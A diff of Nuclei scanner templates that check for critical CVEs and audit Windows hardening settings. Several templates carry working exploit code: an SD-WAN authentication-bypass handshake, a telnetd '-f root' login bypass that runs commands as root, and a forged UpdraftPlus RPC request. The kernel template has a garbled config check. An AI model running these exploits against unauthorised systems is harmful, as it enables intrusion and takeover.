+      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
+      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
+      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
+      RSA_LEN=$(printf '%03x' ${#RSA_B64})
+      CT_LEN=$(printf '%016x' ${#CT_B64})
+      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
+      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
+      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "UpdraftPlus")'
+          - 'compare_versions(version, "<= 1.26.4")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?i)Stable tag:\\s*([\\d.]+)"
+        internal: true
+
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{code_response}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "\"udrpc_message\":\"")'
+        condition: and
+# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,275 @@
+id: CVE-2026-20182
+
+info:
+  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
+  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
+  severity: critical
+  description: |
+    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
+  remediation: |
+    Update to the latest fixed version as per Cisco advisory.
+  impact: |
+    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
+  reference:
+    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
+    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
+    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cve-id: CVE-2026-20182
+    epss-score: 0.87693
+    epss-percentile: 0.99738
+    cwe-id: CWE-287
+    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: cisco
+    product: catalyst_sd-wan_controller
+    shodan-query: port:12346 product:"Cisco SD-WAN"
+    fofa-query: port="12346" && product="Cisco SD-WAN"
+  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import struct
+      import socket
+      import subprocess
+      import time
+      import select
+      import secrets
+      import tempfile
+      import shutil
+
+      MSG_HELLO         = 0x05
+      MSG_CHALLENGE     = 0x08
+      MSG_CHALLENGE_ACK = 0x09
+      MSG_TEAR_DOWN     = 0x0B
+
+      DEV_VHUB  = 2
+      HDR_FLAGS = 0xA0
+      DOMAIN_ID = 1
+      SITE_ID   = 100
+
+      MSG_NAMES = {
+          0x05: "Hello",
+          0x08: "CHALLENGE",
+          0x09: "CHALLENGE_ACK",
+          0x0B: "TEAR_DOWN",
+          0x0D: "REGISTER_TO_VMANAGE",
+          0x0E: "VMANAGE_TO_PEER",
+      }
+
+      def build_header(msg_type):
+          byte0 = msg_type & 0x0F
+          byte1 = (DEV_VHUB & 0x0F) << 4
+          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
+                             DOMAIN_ID, SITE_ID)
+
+      def hdr_msg_type(data):
+          return data[0] & 0x0F if data else None
+
+      def build_tlv(tlv_type, value):
+          if isinstance(value, str):
+              value = value.encode()
+          return struct.pack(">HH", tlv_type, len(value)) + value
+
+      def build_challenge_ack_body():
+          uuid_str   = secrets.token_hex(16)
+          server_key = secrets.token_hex(16)
+
+          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
+          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
+          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
+          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
+          tlvs += build_tlv(0x0006, uuid_str)
+          tlvs += build_tlv(0x0032, server_key)
+
+          body  = struct.pack(">BB", 0, 0)
+          body += struct.pack(">B", 6)
+          body += tlvs
+          return body
+
+      def build_hello_body(port):
+          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
+          body += struct.pack(">H", 2)
+          body += socket.inet_aton("127.0.0.1")
+          body += struct.pack(">H", port)
+          body += struct.pack(">I", 1)
+          body += b"\x00" * 20
+          body += struct.pack(">II", 10000, 60000)
+          body += struct.pack(">B", 2)
+          body += build_tlv(0x0021, struct.pack(">B", 0))
+          body += build_tlv(0x0022, struct.pack(">B", 0))
+          return body
+
+      def generate_self_signed_cert():
+          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
+          cert_path = os.path.join(tmpdir, "cert.pem")
+          key_path  = os.path.join(tmpdir, "key.pem")
+
+          result = subprocess.run(
+              [
+                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
+                  "-keyout", key_path,
+                  "-out",    cert_path,
+                  "-days",   "1",
+                  "-nodes",
+                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
+                  "-quiet",
+              ],
+              capture_output=True,
+              timeout=15,
+          )
+          if result.returncode != 0:
+              return None, None, tmpdir
+          return cert_path, key_path, tmpdir
+
+      def dtls_connect(host, port, cert_path, key_path):
+          cmd = [
+              "openssl", "s_client",
+              "-dtls1_2",
+              "-connect", f"{host}:{port}",
+              "-cert",    cert_path,
+              "-key",     key_path,
+              "-no_ign_eof",
+              "-quiet",
+          ]
+          return subprocess.Popen(
+              cmd,
+              stdin=subprocess.PIPE,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.PIPE,
+          )
+
+      def wait_for_data(fd, timeout_sec):
+          ready, _, _ = select.select([fd], [], [], timeout_sec)
+          if not ready:
+              return None
+          try:
+              data = os.read(fd.fileno(), 65536)
+              return data if data else None
+          except OSError:
+              return None
+
+      def send_message(proc, msg_type, body=b""):
+          message = build_header(msg_type) + body
+          try:
+              proc.stdin.write(message)
+              proc.stdin.flush()
+              return True
+          except (BrokenPipeError, OSError):
+              return False
+
+      def recv_message(proc, timeout_sec=10):
+          data = wait_for_data(proc.stdout, timeout_sec)
+          if not data or len(data) < 12:
+              return None, None
+          return data[:12], data[12:]
+
+      def check_vulnerability(host, port):
+          target = f"{host}:{port}"
+          print(f"[*] Testing target: {target}")
+
+          cert_path, key_path, tmpdir = generate_self_signed_cert()
+          if not cert_path:
+              print("[-] Certificate generation failed")
+              return False
+
+          proc = None
+          try:
+              proc = dtls_connect(host, port, cert_path, key_path)
+              time.sleep(3)
+
+              if proc.poll() is not None:
+                  print("[-] DTLS handshake failed")
+                  return False
+
+              hdr, _ = recv_message(proc, timeout_sec=12)
+              if hdr is None:
+                  print("[-] No CHALLENGE received")
+                  return False
+
+              msg_type = hdr_msg_type(hdr)
+              if msg_type != MSG_CHALLENGE:
+                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
+                  print(f"[-] Unexpected message type: {name}")
+                  return False
+
+              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
+                  print("[-] Failed to send CHALLENGE_ACK")
+                  return False
+
+              hdr, _ = recv_message(proc, timeout_sec=8)
+              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
+                  print("[-] Server sent TEAR_DOWN — not vulnerable")
+                  return False
+
+              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
+                  print(f"VULNERABLE: {target}")
+                  return True
+
+              hdr, _ = recv_message(proc, timeout_sec=8)
+              if hdr is not None:
+                  msg_type = hdr_msg_type(hdr)
+                  if msg_type == MSG_TEAR_DOWN:
+                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
+                      return False
+                  print(f"VULNERABLE: {target}")
+                  return True
+
+              print(f"VULNERABLE: {target}")
+              return True
+
+          except subprocess.TimeoutExpired:
+              print("[-] Operation timed out")
+              return False
+          except Exception as e:
+              print(f"[-] Error: {e}")
+              return False
+          finally:
+              if proc:
+                  try:
+                      proc.terminate()
+                      proc.wait(timeout=3)
+                  except Exception:
+                      try:
+                          proc.kill()
+                      except Exception:
+                          pass
+              shutil.rmtree(tmpdir, ignore_errors=True)
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port", "12346")
+
+          if not host:
+              print("Host environment variable not set")
+              exit(1)
+
+          try:
+              port = int(port)
+          except ValueError:
+              port = 12346
+
+          if check_vulnerability(host, port):
+              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
+          else:
+              print("Target appears to be patched or not Cisco SD-WAN vdaemon")
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
+id: CVE-2026-24061
+
+info:
+  name: GNU Inetutils telnetd - Authentication Bypass
+  author: pussycat0x
+  severity: critical
+  description: |
+    GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
+  remediation: |
+    Update to a version later than 2.7 or the latest available version.
+  impact: |
+    Remote attackers can bypass authentication, gaining unauthorized root access to the system.
+  reference:
+    - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-24061
+    cwe-id: CWE-88
+    epss-score: 0.98871
+    epss-percentile: 0.99921
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: gnu
+    product: inetutils
+    shodan-query: port:23 telnet
+    fofa-query: port="23" && protocol="telnet"
+  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
+
+code:
+  - engine:
+      - sh
+      - bash
+
+    source: |
+      (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
+
+      - type: word
+        part: response
+        words:
+          - "Last login"
+          - "Debian"
+        condition: and
+# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,142 @@
+id: CVE-2026-31431
+
+info:
+  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
+  author: ritikchaddha
+  severity: high
+  description: |
+    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
+  impact: |
+    A local attacker can escalate from any unprivileged user to root. The exploit:
+  remediation: |
+    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
+  reference:
+    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
+    - https://cert.europa.eu/publications/security-advisories/2026-005
+    - https://xint.io/blog/copy-fail-linux-distributions
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
+  classification:
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.8
+    cve-id: CVE-2026-31431
+    epss-score: 0.96267
+    epss-percentile: 0.9987
+    cwe-id: CWE-787
+    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: linux
+    product: linux_kernel
+  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
+
+self-contained: true
+
+flow: code(1) && code(2) && code(3)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      uname -r
+
+    extractors:
+      - type: regex
+        name: kernel_version
+        part: response
+        regex:
+          - '^[0-9]+\.[0-9]+\.[0-9]+'
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      KVER=$(uname -r)
+      MAJOR=$(echo "$KVER" | cut -d. -f1)
+      MINOR=$(echo "$KVER" | cut -d. -f2)
+      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
+      VULNERABLE=0
+
+      # Check if algif_aead module is loaded or built-in (required attack surface)
+      AEAD_PRESENT=0
+      if lsmod 2>/dev/null | grep -q "algif_aead"; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
+        AEAD_PRESENT=1
+      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
+        AEAD_PRESENT=1
+      fi
+
+      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
+      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
+      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 5 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 6 ]; then
+        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
+        fi
+      fi
+
+      if [ "$VULNERABLE" -eq 1 ]; then
+        if [ "$AEAD_PRESENT" -eq 1 ]; then
+          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
+        else
+          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
+        fi
+      else
+        echo "NOT_VULNERABLE: kernel $KVER"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "VULNERABLE:"
+
+      - type: word
+        part: response
+        words:
+          - "NOT_VULNERABLE"
+        negative: true
+
+    extractors:
+      - type: regex
+        name: detection_detail
+        part: response
+        regex:
+          - 'VULNERABLE:.*'
+# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: default-admin-account-enabled
+
+info:
+  name: Default Administrator Account Enabled
+  author: boonchuan
+  severity: medium
+  description: |
+    Detected built-in Administrator account was enabled, which is a common target for brute-force and credential stuffing attacks.
+  impact: |
+    The default Administrator account has a well-known SID and is frequently targeted by attackers. Leaving it enabled increases the attack surface.
+  remediation: |
+    Disable the built-in Administrator account and use a separate named admin account for administrative tasks. Run: net user Administrator /active:no
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+  metadata:
+    verified: false
+  tags: windows,admin,privileges,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $admin = Get-LocalUser -Name 'Administrator' -ErrorAction SilentlyContinue; if ($admin -and $admin.Enabled) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4a0a00473045022100f0b58e6b5a9b3631af0243f2f37b0b73fe428c208fd97eee1512c86e5ad67a0f02207f8e08fa3081b1e0b8b787e3dee5b2353a994b01ac1a861e1d73f58840f7e80d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: office-macros-not-restricted
+
+info:
+  name: Microsoft Office Macros Not Restricted
+  author: boonchuan
+  severity: high
+  description: |
+    Detected Microsoft Office macro restrictions were not configured, increasing the risk of macro-based malware delivery through Office documents.
+  impact: |
+    Unrestricted macros allow attackers to deliver malware through Office documents, a common initial access vector.
+  remediation: |
+    Configure Group Policy to disable macros: User Configuration > Administrative Templates > Microsoft Office > Security > VBA Macro Notification Settings > Disable all without notification (VBAWarnings = 4).
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked
+  metadata:
+    verified: false
+  tags: windows,office,macros,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $apps = @('Word','Excel','PowerPoint'); $unrestricted = $false; foreach ($app in $apps) { $val = (Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Office\16.0\$app\Security" -Name 'VBAWarnings' -ErrorAction SilentlyContinue).VBAWarnings; if ($null -eq $val -or $val -lt 3) { $unrestricted = $true } }; if ($unrestricted) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4b0a004830460221008ef29cc9a13f406e48ba33e113cbf16313826513c7902305714c9811dc0139c1022100cc65712090e08cf9ef85ce4eb684425d21c66c69b1193d2d287c60e03f725d69:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: windows-auto-update-disabled
+
+info:
+  name: Windows Automatic Updates Disabled
+  author: boonchuan
+  severity: high
+  description: |
+    Detected Windows automatic updates were found disabled, leaving the system vulnerable to unpatched security flaws.
+  impact: |
+    Systems without automatic updates will miss critical security patches, increasing exposure to known vulnerabilities and exploits.
+  remediation: |
+    Enable automatic updates via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Update > Configure Automatic Updates > set to Auto download and schedule install.
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/windows/deployment/update/waas-wu-settings
+  metadata:
+    verified: false
+  tags: windows,updates,patching,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $au = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -ErrorAction SilentlyContinue; if ($au -and $au.NoAutoUpdate -eq 1) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4a0a00473045022100ddcd4a1983a75eff3d9837110072c2a1665f9a37f618a2b4dc10f82234608def02203f127fd2e6fc34706eac60ae681e29f33a0a099855daa983ca0a1e41ee2aeb37:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
+id: unquoted-service-paths
+
+info:
+  name: Unquoted Service Paths
+  author: domwhewell-sage
+  severity: high
+  description: |
+    Detects windows services with unquoted paths that contain spaces. This misconfiguration can lead to local privilege escalation via execution of a malicious binary placed in the path.
+  reference:
+    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths
+  metadata:
+    verified: true
+  tags: windows,services,code,windows-audit
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Get services using WMI
+      $services = Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
+
+      foreach ($service in $services) {
+        $path = $service.PathName
+        if ($path -match ' ') {
+          $binaryPath = $path.Split("/")[0]
+          if (Test-Path "$binaryPath") {
+            Write-Output "$($service.Name) : $path"
+          }
+        }
+      }
+
+    extractors:
+      - type: regex
+        regex:
+          - ".+ : .+"
+# digest: 4a0a00473045022100f56bd1f0edcd741e70fbf654856d27b0562811acf8fdad3ee4a42ba5bacd9b2a02205b50b582fa2e063a3c5357804231816991e6357fc4ebbc109910dc67dbede8bf:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,67 @@
+id: weak-service-binary-permissions
+
+info:
+  name: Weak Service Binary Permissions
+  author: domwhewell-sage
+  severity: high
+  description: |
+    Detects weak Windows service binary permissions that could allow non-administrative users to modify the service binary, potentially leading to local privilege escalation.
+  reference:
+    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#modify-service-binary-path
+  tags: windows,services,code,windows-audit,privesc
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $services = Get-WmiObject -Class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName |
+        Where-Object { $_.PathName -and $_.PathName -notlike 'C:\Windows\*' }
+
+      foreach ($service in $services) {
+        $rawPath = $service.PathName.Trim()
+
+        # Extract binary path: handle quoted and unquoted paths with arguments
+        if ($rawPath.StartsWith('"')) {
+          $binaryPath = ($rawPath -split '"')[1]
+        } else {
+          $binaryPath = ($rawPath -split ' (?=-)')[0].Trim()
+          if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) {
+            $binaryPath = ($rawPath -split '\.exe')[0] + '.exe'
+          }
+        }
+
+        if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) { continue }
+
+        $acl = Get-Acl $binaryPath -ErrorAction SilentlyContinue
+        if (-not $acl) { continue }
+
+        foreach ($access in $acl.Access) {
+          $rights = $access.FileSystemRights.ToString()
+          $identity = $access.IdentityReference.ToString()
+
+          if ($rights -match "Write|FullControl|Modify" -and
+              $identity -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators|NT AUTHORITY\\LOCAL SERVICE|NT AUTHORITY\\NETWORK SERVICE|TrustedInstaller") {
+            Write-Output "$identity can $rights the service binary at $binaryPath for service '$($service.Name)' running as '$($service.StartName)' on '$($service.StartMode)' mode"
+          }
+        }
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "the service binary at"
+
+    extractors:
+      - type: regex
+        regex:
+          - ".+ the service binary at .+"
+# digest: 490a0046304402201a22dd84e886cd1a39b2410dcfc77f56c8e78046403233fec4e63a40e44cf3db02206c19c3eb4be47f3a4822d2f74f35d7343e70be7d437d386f8550023d040209de:922c64590222798bb761d5b6d8e72950
@@ -1519,5 +1519,15 @@
            "website": "https://halilkirazkaya.com",
            "email": "[email protected]"
        }
+    },
+    {
+        "author": "marcialpaulg",
+        "links": {
+            "github": "https://github.com/marcialpaulg",
+            "twitter": "",
+            "linkedin": "https://www.linkedin.com/in/marcialpaulg/",
+            "website": "https://marcialpaulg.com",
+            "email": "[email protected]"
+        }
    }
 ]
@@ -1 +1 @@
-45db50253a51f8b7492d63b47d0d5aed
+f41fb6aca06836485c29dcab0865f337
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
-    epss-score: 0.93956
-    epss-percentile: 0.99875
+    epss-score: 0.9523
+    epss-percentile: 0.99855
  metadata:
    max-request: 1
    confidence: tenative
@@ -53,4 +53,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 490a0046304402204f4a3a63f4af6c8cfd3b34e197234640291949ab4a5dd50b1c72893b7eae6e5702207c6f15f2681a87dfab1c9d616f10dfa6b7add5ca502cc181a341e68e9bd378ad:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
-    epss-score: 0.81181
-    epss-percentile: 0.99124
+    epss-score: 0.22513
+    epss-percentile: 0.97426
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
@@ -54,4 +54,4 @@ http:
          - "ORA-06512:"
          - "Request Method:"
        condition: and
-# digest: 4a0a004730450220744772b1adca90468aaee2a07671941970b7e5c61e20c355c6cc783d5f3a0337022100fbe3cb55ab904fd44b1987947cd2b9aaaedbe01ba2d24816be1df3f3bba8e50c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
-    epss-score: 0.35237
-    epss-percentile: 0.96899
+    epss-score: 0.44369
+    epss-percentile: 0.98609
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
@@ -44,9 +44,10 @@ http:
    matchers:
      - type: dsl
        dsl:
-          - 'status_code == 500'
-          - 'contains_all(body, "ORDER BY", "ProgrammingError") || contains_all(body, "ORDER BY", "DatabaseError")'
+          - 'contains(body, "ORDER BY") && contains_any(body, "ProgrammingError", "DatabaseError")'
          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'
+          - 'status_code == 500'
+        condition: and

    extractors:
      - type: regex
@@ -65,4 +66,4 @@ http:
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 490a004630440220309a25b4e63e1dc1eb9813f1e503ce5edfb60d23e615c501b7513c11f08bff8102200b1ff92f57a7780a693c60fbf66162879adb4f7120443b71275d954284f5d93f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
-    epss-score: 0.9434
-    epss-percentile: 0.99951
+    epss-score: 0.99977
+    epss-percentile: 0.9998
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +66,4 @@ http:
        group: 1
        regex:
